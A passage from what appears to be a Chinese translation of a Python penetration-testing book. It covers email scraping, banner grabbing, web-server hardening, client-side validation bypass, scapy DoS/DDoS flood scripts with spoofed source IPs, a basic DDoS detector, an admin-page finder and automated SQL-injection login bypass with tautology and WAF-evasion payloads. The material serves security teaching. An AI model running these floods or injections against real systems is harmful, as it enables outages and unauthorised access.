  • 以下for循环从表格数据中删除空格和空字符串:
      list1 = []
      for each in ip:
        each = each.strip()
        if each =="":
          continue
        list1.append(each.strip("\n"))
  • 以下代码行找到了“IP 地址”字符串的索引:
      ip_index = list1.index('IP Address')
      print "IP address ", list1[ip_index+1]
  • 接下来的行找到了网站的位置:
      loc1 = list1.index('IP Location')
      loc2 = list1.index('ASN')
      print 'Location : ', "".join(list1[loc1+1:loc2])

在前面的代码中,我只打印了网站的 IP 地址和位置。以下输出显示我在三个不同的网站上分别使用了三次该程序:我的学院网站、我的网站和出版商的网站。在这三个输出中,我们得到了 IP 地址和位置:

从网页中收集电子邮件地址

在这一部分,我们将学习如何从网页中找到电子邮件地址。为了找到电子邮件地址,我们将使用正则表达式。方法非常简单:首先,从给定的网页获取所有数据,然后使用电子邮件正则表达式来获取电子邮件地址。

让我们看看代码:

import urllib
import re
from bs4 import BeautifulSoup
url = raw_input("Enter the URL ")
ht= urllib.urlopen(url)
html_page = ht.read()
email_pattern=re.compile(r'\b[\w.-]+?@\w+?\.\w+?\b')
for match in re.findall(email_pattern,html_page ):
  print match

前面的代码非常简单。html_page变量包含了所有的网页数据。r'\b[\w.-]+?@\w+?\.\w+?\b'正则表达式表示电子邮件地址。

现在让我们看看输出:

前面的结果是绝对正确的。给定的 URL 网页是我为测试目的制作的。

网站的横幅抓取

在这一部分,我们将抓取网站的 HTTP 横幅。横幅抓取,或者操作系统指纹识别,是一种确定目标 Web 服务器上运行的操作系统的方法。在下面的程序中,我们将嗅探我们计算机上网站的数据包,就像我们在第三章中所做的那样,嗅探和渗透测试

横幅抓取器的代码如下:

import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:

  pkt  = s.recvfrom(2048)
  banner = pkt[0][54:533]
  print banner
  print "--"*40

由于您已经阅读了第三章,嗅探和渗透测试,您应该对这段代码很熟悉。banner = pkt[0][54:533]语句是新的。在pkt[0][54:]之前,数据包包含 TCP、IP 和以太网信息。经过一些试验和错误,我发现横幅抓取信息位于[54:533]之间。您可以通过取片段[54:540][54:545][54:530]等进行试验和错误。

要获得输出,您必须在程序运行时在 Web 浏览器中打开网站,如下面的屏幕截图所示:

横幅抓取

因此,前面的输出显示服务器是 Microsoft-IIS.6.0,使用的编程语言是 ASP.NET。我们得到了与我们在检查标题过程中收到的相同的信息。尝试这段代码,并使用不同的状态代码获取更多信息。

通过使用前面的代码,您可以为自己准备信息收集报告。当我将信息收集方法应用于网站时,我通常会发现客户犯了很多错误。在下一节中,您将看到在 Web 服务器上发现的最常见的错误。

Web 服务器的加固

在本节中,让我们揭示一些在 Web 服务器上观察到的常见错误。我们还将讨论一些加固 Web 服务器的要点:

  • 始终隐藏您的服务器签名。

  • 如果可能的话,设置一个虚假的服务器签名来误导攻击者。

  • 处理错误。

  • 如果可能的话,使用虚拟环境(监禁)来运行应用程序。

  • 尽量隐藏编程语言页面扩展名,因为这样攻击者将很难看到 Web 应用程序的编程语言。

  • 使用来自供应商的最新补丁更新 Web 服务器。这样可以避免对 Web 服务器的任何利用机会。服务器至少可以针对已知的漏洞进行保护。

  • 不要使用第三方补丁来更新 Web 服务器。第三方补丁可能包含木马或病毒。

  • 不要在 Web 服务器上安装其他应用程序。如果您安装了操作系统,比如 RHEL 或 Windows,请不要安装其他不必要的软件,比如 Office 或编辑器,因为它们可能包含漏洞。

  • 关闭除80443之外的所有端口。

  • 不要在 Web 服务器上安装任何不必要的编译器,比如 gcc。如果攻击者入侵了 Web 服务器并且想要上传可执行文件,IDS 或 IPS 可以检测到该文件。在这种情况下,攻击者将在 Web 服务器上上传代码文件(以文本文件的形式)并在 Web 服务器上执行该文件。这种执行可能会损坏 Web 服务器。

  • 设置活跃用户数量的限制,以防止 DDoS 攻击。

  • 在 Web 服务器上启用防火墙。防火墙可以做很多事情,比如关闭端口和过滤流量。

总结

在本章中,我们了解了 Web 服务器签名的重要性,并且获得服务器签名是黑客攻击的第一步。

“给我六个小时砍倒一棵树,我将花前四个小时磨斧头。”

  • 亚伯拉罕·林肯

在我们的情况下也是一样的。在对 Web 服务器进行攻击之前,最好检查一下它到底运行了哪些服务。这是通过对 Web 服务器进行足迹识别来完成的。错误处理技术是一种被动的过程。头部检查和横幅抓取是主动的过程,用于收集有关 Web 服务器的信息。在本章中,我们还学习了关于 BeautifulSoup 解析器的内容。可以从 BeautifulSoup 中获取超链接、标签和 ID 等部分。在最后一节中,我们介绍了一些加固 Web 服务器的指南。如果您遵循这些指南,您可以使您的 Web 服务器难以受到攻击。

在下一章中,您将学习有关客户端验证和参数篡改的内容。您将学习如何生成和检测 DoS 和 DDOS 攻击。

第八章:客户端验证和 DDoS 攻击

在上一章中,您学习了如何解析网页,以及如何从 HTML 页面中获取特定信息。在本章中,我们将讨论以下主题:

  • 网页中的验证

  • 验证类型

  • 验证的渗透测试

  • DoS 攻击

  • DDoS 攻击

  • DDoS 的检测

引入客户端验证

通常,当您在 Web 浏览器中访问网页时,您会打开一个表单,填写表单并提交。在填写表单的过程中,某些字段可能有约束条件,例如用户名应该是唯一的;密码应该大于八个字符,并且这些字段不应为空。为此,使用了两种类型的验证,即客户端验证和服务器端验证。诸如 PHP 和 ASP.NET 之类的语言使用服务器端验证,接受输入参数并将其与服务器的数据库进行匹配。

在客户端验证中,验证是在客户端完成的。JavaScript 用于客户端验证。快速响应和易于实现使客户端验证在一定程度上具有益处。然而,频繁使用客户端验证为攻击者提供了一种攻击方式;服务器端验证比客户端验证更安全。普通用户可以看到在 Web 浏览器上发生了什么,但黑客可以看到在 Web 浏览器之外可以做什么。以下图片说明了客户端验证和服务器端验证:

PHP 起到了中间层的作用。它将 HTML 页面连接到 SQL 服务器。

使用 Python 篡改客户端参数

最常用的两种方法 POST 和 GET 用于在 HTTP 协议中传递参数。如果网站使用 GET 方法,其传递参数将显示在 URL 中,您可以更改此参数并将其传递给 Web 服务器;这与 POST 方法相反,其中参数不显示在 URL 中。

在本节中,我们将使用一个带有简单 JavaScript 代码的虚拟网站,以及通过 POST 方法传递的参数,并托管在 Apache Web 服务器上。

让我们看一下index.php代码:

<html>
<body background="wel.jpg">

  <h1>Leave your Comments </h1>
  <br>
  <form Name="sample" action="submit.php" onsubmit="return validateForm()" method="POST">

    <table-cellpadding="3" cellspacing="4" border="0">
      <tr>
        <td> <font size= 4><b>Your name:</b></font></td>
        <td><input type="text" name="name" rows="10" cols="50"/></td>
      </tr>
      <br><br>

      <tr valign= "top"> <th scope="row"  <p class="req">
        <b><font size= 4>Comments</font> </b> </p> </th>
        <td> <textarea class="formtext" tabindex="4" name="comment" 
         rows="10" cols="50"></textarea></td>
      </tr>

      <tr>
        <td> <input type="Submit" name="submit" value="Submit" /></td>
      </tr>
    </table>
  </form>
  <br>

  <font size= 4 ><a href="dis.php"> Old comments </a> 
  <SCRIPT LANGUAGE="JavaScript">

    <!-- Hide code from non-js browsers

    function validateForm()
    {
      formObj = document.sample;

      if((formObj.name.value.length<1) || 
       (formObj.name.value=="HACKER"))
       {
        alert("Enter your name");
        return false;
      }
      if(formObj.comment.value.length<1)
      {
        alert("Enter your comment.");
        return false;
      }
    }
    // end hiding -->

  </SCRIPT>
</body>
</html>

我希望您能理解 HTML、JavaScript 和 PHP 代码。上面的代码显示了一个示例表单,其中包括两个文本提交字段,名称和评论:

if((formObj.name.value.length<1) || (formObj.name.value=="HACKER"))
{
alert("Enter your name");
return false;
}
if(formObj.comment.value.length<1)
{
alert("Enter your comment.");
return false;
}

上面的代码显示了验证。如果名称字段为空或填写为HACKER,则会显示一个警报框,如果评论字段为空,它将显示一个警报消息,您可以在其中输入您的评论,如下面的屏幕截图所示:

验证的警报框

因此,我们在这里的挑战是绕过验证并提交表单。您可能之前使用 Burp 套件做过这个,现在我们将使用 Python 来做这个。

在上一章中,您看到了 BeautifulSoup 工具;现在,我将使用一个名为mechanize的 Python 浏览器。mechanize 网络浏览器提供了在网页中获取表单的功能,并且还便于提交输入值。通过使用 mechanize,我们将绕过验证,如下面的代码所示:

import mechanize
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
for form in br.forms():
  print form

我们所有的代码片段都以import语句开始。因此,在这里,我们正在导入mechanize模块。下一行创建了mechanize类的br对象。url = raw_input("输入 URL ")语句要求用户输入。接下来的五行代表了帮助重定向和robots.txt处理的浏览器选项。br.open(url)语句打开了我们给出的 URL。下一条语句打印了网页中的表单。现在,让我们检查paratemp.py程序的输出:

程序输出显示存在两个名称值。第一个是name,第二个是comment,将传递到操作页面。现在,我们已经收到了参数。让我们看看代码的其余部分:

br.select_form(nr=0)
br.form['name'] = 'HACKER'
br.form['comment'] = ''
br.submit()

第一行用于选择表单。在我们的网站中,只有一个表单。br.form['name'] = 'HACKER'语句将值HACKER填入名称字段,下一行填写空评论,最后一行提交这些值。

现在,让我们从两个方面看输出。代码的输出如下:

表单提交

网站的输出显示在以下截图中:

验证绕过

前面的截图显示已经成功。

现在,你一定已经对如何绕过验证有了一个大致的了解。一般人认为通过POST方法发送的参数是安全的。然而,在前面的实验中,你已经看到对于内部网络中的普通用户来说是安全的。如果网站只被内部用户使用,那么客户端验证是一个不错的选择。然而,如果你在电子商务网站上使用客户端验证,那么你只是在邀请攻击者来利用你的网站。在接下来的话题中,你将看到客户端验证对业务的一些不良影响。

参数篡改对业务的影响

作为渗透测试人员,你经常需要分析源代码。如今,电子商务领域发展迅速。考虑一个电子商务网站的例子,如下截图所示:

网站示例

前面的截图显示Nokia C7的价格为60iPhone 3G的价格为600。你不知道这些价格是来自数据库还是写在网页上。下面的截图显示了这两款手机的价格:

查看源代码

现在,让我们看一下源代码,如下截图所示:

看看前面截图中的矩形框。网页上写着价格为60,但从数据库中取出的价格是600。如果使用GET方法,可以通过 URL 篡改来改变价格60。价格可以被改成6而不是60。这将严重影响业务。在白盒测试中,客户会提供给你源代码,你可以分析这段代码,但在黑盒测试中,你必须使用攻击来进行测试。如果使用POST方法,可以使用 Mozilla 的附加组件 Tamper Data(addons.mozilla.org/en-US/firefox/addon/tamper-data/)进行参数篡改。你必须手动操作,所以不需要使用 Python 编程。

介绍 DoS 和 DDoS

在本节中,我们将讨论最致命的攻击之一,称为拒绝服务攻击。这种攻击的目的是消耗机器或网络资源,使其对预期用户不可用。一般来说,攻击者在其他攻击失败时使用这种攻击。这种攻击可以在数据链路、网络或应用层进行。通常,Web 服务器是黑客的目标。在 DoS 攻击中,攻击者向 Web 服务器发送大量请求,旨在消耗网络带宽和机器内存。在分布式拒绝服务DDoS)攻击中,攻击者从不同的 IP 地址发送大量请求。为了进行 DDoS 攻击,攻击者可以使用特洛伦或 IP 欺骗。在本节中,我们将进行各种实验来完成我们的报告。

单个 IP,单个端口

在这次攻击中,我们使用单个 IP(可能是伪造的)和单个源端口号向 Web 服务器发送大量数据包。这是一种非常低级的 DoS 攻击,将测试 Web 服务器的请求处理能力。

以下是sisp.py的代码:

from scapy.all import *
src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")
srcport = int(raw_input("Enter the Source Port "))
i=1
while True: 
  IP1 = IP(src=src, dst=target)
  TCP1 = TCP(sport=srcport, dport=80)
  pkt = IP1 / TCP1
  send(pkt,inter= .001)
  print "packet sent ", i
  i=i+1

我用 scapy 编写了这段代码,希望你熟悉。上面的代码要求三样东西:源 IP 地址、目标 IP 地址和源端口地址。

让我们检查攻击者机器上的输出:

单个 IP,单个端口

我使用了伪造的 IP 来隐藏我的身份。你需要发送大量数据包来检查 Web 服务器的行为。在攻击期间,尝试打开托管在 Web 服务器上的网站。无论是否成功,都要把你的发现写入报告。

让我们检查服务器端的输出:

服务器上的 Wireshark 输出

这个输出显示我们的数据包成功发送到了服务器。用不同的序列号重复这个程序。

单个 IP,多个端口

现在,在这次攻击中,我们使用单个 IP 地址但是多个端口。

在这里,我写了simp.py程序的代码:

from scapy.all import *

src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")

i=1
while True: 
  for srcport in range(1,65535): 
    IP1 = IP(src=src, dst=target)
    TCP1 = TCP(sport=srcport, dport=80)
    pkt = IP1 / TCP1
    send(pkt,inter= .0001)
    print "packet sent ", i
    i=i+1

我在端口上使用了for循环。让我们检查攻击者的输出:

来自攻击者机器的数据包

上面的截图显示数据包成功发送。现在,检查目标机器上的输出:

出现在目标机器上的数据包

在上面的截图中,矩形框显示了端口号。我会让你创建单个端口的多个 IP 地址。

多个 IP,多个端口

在这一部分,我们将讨论多个 IP 和多个端口地址。在这次攻击中,我们使用不同的 IP 发送数据包到目标。多个 IP 代表伪造的 IP。下面的程序将从伪造的 IP 发送大量数据包:

import random
from scapy.all import *
target = raw_input("Enter the Target IP ")

i=1
while True: 
  a = str(random.randint(1,254))
  b = str(random.randint(1,254))
  c = str(random.randint(1,254))
  d = str(random.randint(1,254))
  dot = "."
  src = a+dot+b+dot+c+dot+d
  print src
  st = random.randint(1,1000)
  en = random.randint(1000,65535)
  loop_break = 0
  for srcport in range(st,en): 
    IP1 = IP(src=src, dst=target)
    TCP1 = TCP(sport=srcport, dport=80)
    pkt = IP1 / TCP1
    send(pkt,inter= .0001)
    print "packet sent ", i
    loop_break = loop_break+1
    i=i+1
    if loop_break ==50 :
      break

在上面的代码中,我们使用abcd变量来存储四个随机字符串,范围从1254src变量存储随机 IP 地址。在这里,我们使用loop_break变量来在50个数据包后中断for循环。这意味着 50 个数据包来自一个 IP,而其余的代码和之前的一样。

让我们检查mimp.py程序的输出:

多个 IP,多个端口

在上面的截图中,你可以看到在第 50 个数据包后,IP 地址发生了变化。

让我们检查目标机器上的输出:

目标机器上 Wireshark 的输出

使用多台机器执行这段代码。在上面的截图中,你可以看到机器回复了源 IP。这种类型的攻击很难检测,因为很难区分数据包是来自有效主机还是伪造主机。

DDoS 攻击检测

当我攻读工程硕士学位时,我和朋友一起研究 DDoS 攻击。这是一种非常严重的攻击,很难检测,几乎不可能猜测流量是来自伪造主机还是真实主机。在 DoS 攻击中,流量只来自一个来源,所以我们可以阻止那个特定的主机。基于某些假设,我们可以制定规则来检测 DDoS 攻击。如果 Web 服务器只运行包含端口 80 的流量,那就应该允许。现在,让我们来看一个非常简单的检测 DDoS 攻击的代码。程序的名字是DDOS_detect1.py

import socket
import struct
from datetime import datetime
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
dict = {}
file_txt = open("dos.txt",'a')
file_txt.writelines("**********")
t1= str(datetime.now())
file_txt.writelines(t1)
file_txt.writelines("**********")
file_txt.writelines("n")
print "Detection Start ......."
D_val =10
D_val1 = D_val+10
while True:

  pkt  = s.recvfrom(2048)
  ipheader = pkt[0][14:34]
  ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
  IP = socket.inet_ntoa(ip_hdr[3])
  print "Source IP", IP
  if dict.has_key(IP):
    dict[IP]=dict[IP]+1
    print dict[IP]
    if(dict[IP]>D_val) and (dict[IP]<D_val1) :

      line = "DDOS Detected "
      file_txt.writelines(line)
      file_txt.writelines(IP)
      file_txt.writelines("n")

  else:
  dict[IP]=1

在第三章中,嗅探和渗透测试,您了解了嗅探器。在前面的代码中,我们使用嗅探器获取数据包的源 IP 地址。file_txt = open("dos.txt",'a')语句以追加模式打开文件,这个dos.txt文件用作检测 DDoS 攻击的日志文件。每当程序运行时,file_txt.writelines(t1)语句会写入当前时间。D_val =10变量只是为了演示程序而假设的。这个假设是通过查看来自特定 IP 的点击统计数据得出的。考虑一个教程网站的情况。来自学校和学院的 IP 的点击量会更多。如果来自新 IP 的请求数量很大,那么可能是 DoS 的情况。如果来自一个 IP 的入站数据包计数超过了D_val变量,那么该 IP 被认为是 DDoS 攻击的责任。D_val1变量将在代码中稍后使用以避免冗余。我希望在if dict.has_key(IP):语句之前您对代码很熟悉。这个语句将检查字典中是否存在键(IP 地址)。如果键存在于dict中,那么dict[IP]=dict[IP]+1语句将增加dict[IP]的值,这意味着dict[IP]包含来自特定 IP 的数据包计数。if(dict[IP]>D_val)(dict[IP]<D_val1):语句是检测和将结果写入dos.txt文件的标准;if(dict[IP]>D_val)检测入站数据包的计数是否超过了D_val的值。如果超过了,随后的语句将在获取新数据包后将 IP 写入dos.txt。为了避免冗余,使用了(dict[IP]<D_val1)语句。接下来的语句将在dos.txt文件中写入结果。

在服务器上运行程序,并在攻击者的机器上运行mimp.py

以下屏幕截图显示了dos.txt文件。看看那个文件。它写了一个 IP 九次,就像我们提到的D_val1 = D_val+10。您可以更改D_val的值来设置特定 IP 发出的请求次数。这取决于网站的旧统计数据。我希望前面的代码对研究目的有用:

检测 DDoS 攻击

如果您是安全研究人员,前面的程序对您应该是有用的。您可以修改代码,使得只有包含端口 80 的数据包才会被允许。

总结

在本章中,我们学习了客户端验证以及如何绕过客户端验证。我们还了解了在哪些情况下客户端验证是一个不错的选择。我们已经学习了如何使用 Python 填写表单并发送参数,其中使用了 GET 方法。作为渗透测试人员,您应该知道参数篡改如何影响业务。本章介绍了四种 DoS 攻击类型。单个 IP 攻击属于 DoS 攻击类别,多个 IP 攻击属于 DDoS 攻击类别。这一部分不仅对渗透测试人员有帮助,对研究人员也有帮助。利用 Python DDoS 检测脚本,您可以修改代码并创建更大的代码,从而触发控制或减轻服务器上的 DDoS 攻击的操作。

在下一章中,您将学习 SQL 注入和跨站脚本攻击(XSS)。您将学习如何利用 Python 进行 SQL 注入测试。您还将学习如何使用 Python 脚本自动执行 XSS 攻击。

第九章:SQL 和 XSS 渗透测试

在本章中,我们将讨论一些对 Web 应用程序的严重攻击。你一定听说过数据窃取、用户名和密码破解、网站篡改等事件。这些主要是由于 Web 应用程序中存在的漏洞造成的,通常是通过 SQL 注入和 XSS 攻击来实现的。在第七章中,对 Web 服务器和 Web 应用程序进行足迹扫描,你学会了如何查看正在使用的数据库软件和 Web 服务器上正在运行的操作系统。现在,我们将逐个进行攻击。在本章中,我们将涵盖以下主题:

  • SQL 注入攻击

  • SQL 注入攻击的类型

  • Python 脚本的 SQL 注入攻击

  • 跨站脚本攻击

  • XSS 的类型

  • Python 脚本的 XSS 攻击

介绍 SQL 注入攻击

SQL 注入是一种技术,或者你可以说,是一种专家技术,用来利用未经验证的输入漏洞来窃取数据。Web 应用程序的工作方法可以在下面的截图中看到:

Web 应用程序的工作方法

如果我们的查询没有经过验证,那么它将进入数据库执行,然后可能会泄露敏感数据或删除数据。数据驱动的网站工作方式如前面的截图所示。在这个截图中,我们看到客户端在本地计算机上打开网页。主机通过互联网连接到 Web 服务器。前面的截图清楚地显示了 Web 应用程序与 Web 服务器数据库交互的方法。

SQL 注入的类型

SQL 注入攻击可以分为以下两种类型:

  • 简单的 SQL 注入

  • 盲目的 SQL 注入

简单的 SQL 注入

简单的 SQL 注入攻击包含重言。在重言中,注入语句总是true。联合选择语句返回预期数据与目标数据的联合。我们将在下一节详细讨论 SQL 注入。

盲目的 SQL 注入

在这种攻击中,攻击者利用数据库服务器在执行 SQL 注入攻击后生成的错误消息。攻击者通过一系列真假问题来获取数据。

通过 Python 脚本理解 SQL 注入攻击

所有的 SQL 注入攻击都可以手动进行。但是,你可以使用 Python 编程来自动化攻击。如果你是一个优秀的渗透测试人员,并且知道如何手动执行攻击,那么你可以自己编写程序来检查这一点。

为了获取网站的用户名和密码,我们必须拥有管理员或登录控制台页面的 URL。客户端没有提供网站上管理员控制台页面的链接。

在这里,谷歌未能提供特定网站的登录页面。我们的第一步是找到管理员控制台页面。我记得,多年前,我使用了 URL http://192.168.0.4/login.phphttp://192.168.0.4/login.html。现在,Web 开发人员变得聪明了,他们使用不同的名称来隐藏登录页面。

假设我有 300 多个链接要尝试。如果我手动尝试,可能需要一到两天的时间才能获取网页。

让我们看一个小程序login1.py,来找到 PHP 网站的登录页面:

import httplib
import shelve # to store login pages name 
url = raw_input("Enter the full URL ")
url1 =url.replace("http://","")
url2= url1.replace("/","")
s = shelve.open("mohit.raj",writeback=True)

for u in s['php']:
  a = "/"
  url_n = url2+a+u
  print url_n
  http_r = httplib.HTTPConnection(url2)
  u=a+u
  http_r.request("GET",u)
  reply = http_r.getresponse()

  if reply.status == 200:
    print "n URL found ---- ", url_n
    ch = raw_input("Press c for continue : ")
    if ch == "c" or ch == "C" :
      continue 
    else :
      break

s.close()

为了更好地理解,假设前面的代码是一把空手枪。mohit.raj文件就像手枪的弹夹,data_handle.py就像可以用来把子弹放进弹夹的机器。

我为一个 PHP 驱动的网站编写了这段代码。在这里,我导入了httplibshelveurl变量存储用户输入的网站的 URL。url2变量仅存储域名或 IP 地址。s = shelve.open("mohit.raj",writeback=True)语句打开包含我输入的预期登录页面名称(文件中的预期登录页面)的mohit.raj文件,根据我的经验。s['php']变量意味着php是列表的键名,s['php']是使用名称'php'保存在 shelve 文件(mohit.raj)中的列表。for循环逐个提取登录页面名称,url_n = url2+a+u将显示用于测试的 URL。HTTPConnection实例表示与 HTTP 服务器的一次交易。http_r = httplib.HTTPConnection(url2)语句只需要域名;这就是为什么只传递了url2变量作为参数,并且默认使用端口80并将结果存储在http_r变量中。http_r.request("GET",u)语句发出网络请求,http_r.getresponse()语句提取响应。

如果返回代码是200,这意味着我们成功了。它将打印当前的 URL。如果在第一次成功之后,您仍然想要找到更多页面,您可以按C键。

你可能想知道为什么我使用了httplib库而不是urllib库。如果是的话,那么你的想法是正确的。实际上,许多网站使用重定向来处理错误。urllib库支持重定向,但httplib不支持重定向。考虑到当我们访问一个不存在的 URL 时,网站(具有自定义错误处理)会将请求重定向到另一个包含消息的页面,例如页面未找到页面不存在,即自定义的 404 页面。在这种情况下,HTTP 状态返回代码是200。在我们的代码中,我们使用了httplib;它不支持重定向,因此 HTTP 状态返回代码200将不会产生。

为了管理mohit.raj数据库文件,我编写了一个 Python 程序data_handler.py

现在,是时候在以下截图中看输出了:

显示登录页面的 login.py 程序

在这里,登录页面是http://192.168.0.6/adminhttp://192.168.0.6/admin/index.php

让我们检查data_handler.py文件。

现在,让我们按以下方式编写代码:

import shelve
def create():
  print "This only for One key "
  s = shelve.open("mohit.raj",writeback=True)
  s['php']= []

def update():
  s = shelve.open("mohit.raj",writeback=True)
  val1 = int(raw_input("Enter the number of values  "))

  for x in range(val1):
    val = raw_input("n Enter the valuet")
    (s['php']).append(val)
  s.sync()
  s.close()

def retrieve():
  r = shelve.open("mohit.raj",writeback=True)
  for key in r:
    print "*"*20
    print key
    print r[key]
    print "Total Number ", len(r['php'])
  r.close()

while (True):
  print "Press"
  print "  C for Create, t  U for Update,t  R for retrieve"
  print "  E for exit"
  print "*"*40
  c=raw_input("Enter t")  
  if (c=='C' or c=='c'):
    create()

  elif(c=='U' or c=='u'):
    update()

  elif(c=='R' or c=='r'):
    retrieve()

  elif(c=='E' or c=='e'):
    exit()
  else:
    print "t Wrong Input"

希望你还记得我们使用数据库文件存储端口号和端口描述的端口扫描程序。这里使用了一个名为php的列表,输出可以在以下截图中看到:

通过 data_handler.py 显示 mohit.raj

前面的程序是为 PHP 编写的。我们还可以为不同的 Web 服务器语言编写程序,例如 ASP.NET。

现在,是时候执行基于重言的 SQL 注入攻击了。基于重言的 SQL 注入通常用于绕过用户身份验证。

例如,假设数据库包含用户名和密码。在这种情况下,Web 应用程序编程代码将如下所示:

$sql = "SELECT count(*) FROM cros where (User=".$uname." and Pass=".$pass.")";

$uname变量存储用户名,$pass变量存储密码。如果用户输入有效的用户名和密码,那么count(*)将包含一条记录。如果count(*) > 0,则用户可以访问他们的帐户。如果攻击者在用户名和密码字段中输入1" or "1"="1,那么查询将如下所示:

 $sql = "SELECT count(*) FROM cros where (User="1" or "1"="1." and Pass="1" or "1"="1")";.

UserPass字段将保持truecount(*)字段将自动变为count(*)> 0

让我们编写sql_form6.py代码并逐行分析它:

import mechanize
import re 
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)

for form in br.forms():
  print form
br.select_form(nr=0)
pass_exp = ["1'or'1'='1",'1" or "1"="1']

user1 = raw_input("Enter the Username ")
pass1 = raw_input("Enter the Password ")

flag =0
p =0
while flag ==0:
  br.select_form(nr=0)
  br.form[user1] = 'admin'
  br.form[pass1] = pass_exp[p]
  br.submit()
  data = ""
  for link in br.links():
    data=data+str(link)

  list = ['logout','logoff', 'signout','signoff']
  data1 = data.lower()

  for l in list:
    for match in re.findall(l,data1):
      flag = 1
  if flag ==1:
    print "t Success in ",p+1," attempts"
    print "Successfull hit --> ",pass_exp[p]

  elif(p+1 == len(pass_exp)):
    print "All exploits over "
    flag =1
  else :
    p = p+1

您应该能够理解程序直到for循环。pass_exp变量表示基于逻辑的密码攻击列表。user1pass1变量要求用户输入用户名和密码字段,如表单所示。flag=0变量使while循环继续,p变量初始化为0。在while循环内,即br.select_form(nr=0)语句,选择 HTML 表单一。实际上,这段代码是基于这样的假设,即当您转到登录屏幕时,它将在第一个 HTML 表单中包含登录用户名和密码字段。br.form[user1] = 'admin'语句存储用户名;实际上,我使用它使代码简单易懂。br.form[pass1] = pass_exp[p]语句显示将pass_exp列表的元素传递给br.form[pass1]。接下来,for循环部分将输出转换为字符串格式。我们如何知道密码是否已成功接受?您已经看到,成功登录到页面后,您将在页面上找到注销或退出选项。我在名为list的列表中存储了不同的注销和退出选项的组合。data1 = data.lower()语句将所有数据更改为小写。这将使在数据中查找注销或退出术语变得容易。现在,让我们看看代码:

for l in list:
    for match in re.findall(l,data1):
      flag = 1

上述代码将在data1中找到list的任何值。如果找到匹配项,则flag变为1;这将打破while循环。接下来,if flag ==1语句将显示成功的尝试。让我们看看代码的下一行:

elif(p+1 == len(pass_exp)):
    print "All exploits over "
    flag =1

上述代码显示,如果pass_exp列表的所有值都用完了,那么while循环将中断。

现在,让我们来检查以下屏幕截图中代码的输出:

SQL 注入攻击

上述屏幕截图显示了代码的输出。这是一个非常基本的代码,用于澄清程序的逻辑。现在,我希望您修改代码,并制作一个新代码,其中您可以为用户名和密码提供列表值。

我们可以为包含user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ]的用户名编写不同的代码(sql_form7.py),并在密码字段中填入任何内容。此列表背后的逻辑是,在管理员字符串#后进行注释,行的其余部分就在 SQL 语句中了:

import mechanize
import re 
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)

for form in br.forms():
  print form
form = raw_input("Enter the form name " )
br.select_form(name =form)
user_exp = ['admin" --', "admin' --",   'admin" #', "admin' #" ]

user1 = raw_input("Enter the Username ")
pass1 = raw_input("Enter the Password ")

flag =0
p =0
while flag ==0:
  br.select_form(name =form)
  br.form[user1] = user_exp[p]
  br.form[pass1] = "aaaaaaaa"
  br.submit()
  data = ""
  for link in br.links():
    data=data+str(link)

  list = ['logout','logoff', 'signout','signoff']
  data1 = data.lower()

  for l in list:
    for match in re.findall(l,data1):
      flag = 1
  if flag ==1:
    print "t Success in ",p+1," attempts"
    print "Successfull hit --> ",user_exp[p]

  elif(p+1 == len(user_exp)):
    print "All exploits over "
    flag =1
  else :
    p = p+1

在上述代码中,我们使用了一个额外的变量form;在输出中,您必须选择表单名称。在sql_form6.py代码中,我假设用户名和密码包含在表单编号1中。

上述代码的输出如下:

SQL 注入用户名查询利用

现在,我们可以合并sql_form6.pysql_from7.py代码,并制作一个代码。

为了减轻前面的 SQL 注入攻击,您必须设置一个过滤程序,过滤用户输入的输入字符串。在 PHP 中,使用mysql_real_escape_string()函数进行过滤。以下屏幕截图显示了如何使用此函数:

PHP 中的 SQL 注入过滤

到目前为止,您已经了解了如何进行 SQL 注入攻击。在 SQL 注入攻击中,我们必须手动完成很多事情,因为有很多 SQL 注入攻击,例如基于时间的、基于 SQL 查询的包含 order by 的、基于联合的等等。每个渗透测试人员都应该知道如何手动制作查询。对于一种类型的攻击,您可以制作一个程序,但现在,不同的网站开发人员使用不同的方法来显示来自数据库的数据。一些开发人员使用 HTML 表单来显示数据,而一些使用简单的 HTML 语句来显示数据。一个名为sqlmap的 Python 工具可以做很多事情。然而,有时会存在 Web 应用程序防火墙,例如 mod security;这不允许unionorder by等查询。在这种情况下,您必须手动制作查询,如下所示:

/*!UNION*/ SELECT 1,2,3,4,5,6,--
/*!00000UNION*/ SELECT 1,2,database(),4,5,6 –
/*!UnIoN*/ /*!sElEcT*/ 1,2,3,4,5,6 –

您可以制作一个制作的查询列表。当简单查询不起作用时,您可以检查网站的行为。根据行为,您可以决定查询是否成功。在这种情况下,Python 编程非常有帮助。

现在,让我们看一下以下步骤,为基于防火墙的网站制作 Python 程序:

  1. 制作所有制作的查询的列表

  2. 向网站应用一个简单的查询,并观察网站的响应

  3. 使用尝试不成功的响应来回应不成功的尝试

  4. 逐一应用列出的查询,并通过程序匹配响应

  5. 如果响应不匹配,则手动检查查询

  6. 如果看起来成功了,那么停止程序

上述步骤仅用于显示制作的查询是否成功。只有通过查看网站才能找到所需的结果。

学习跨站脚本

在这一部分,我们将讨论跨站脚本攻击XSS)。XSS 攻击利用动态生成的网页中的漏洞,当未经验证的输入数据包含在发送到用户浏览器以进行渲染的动态内容中时,就会发生这种情况。

跨站攻击有以下两种类型:

  • 持久性或存储型 XSS

  • 非持久性或反射型 XSS

持久性或存储型 XSS

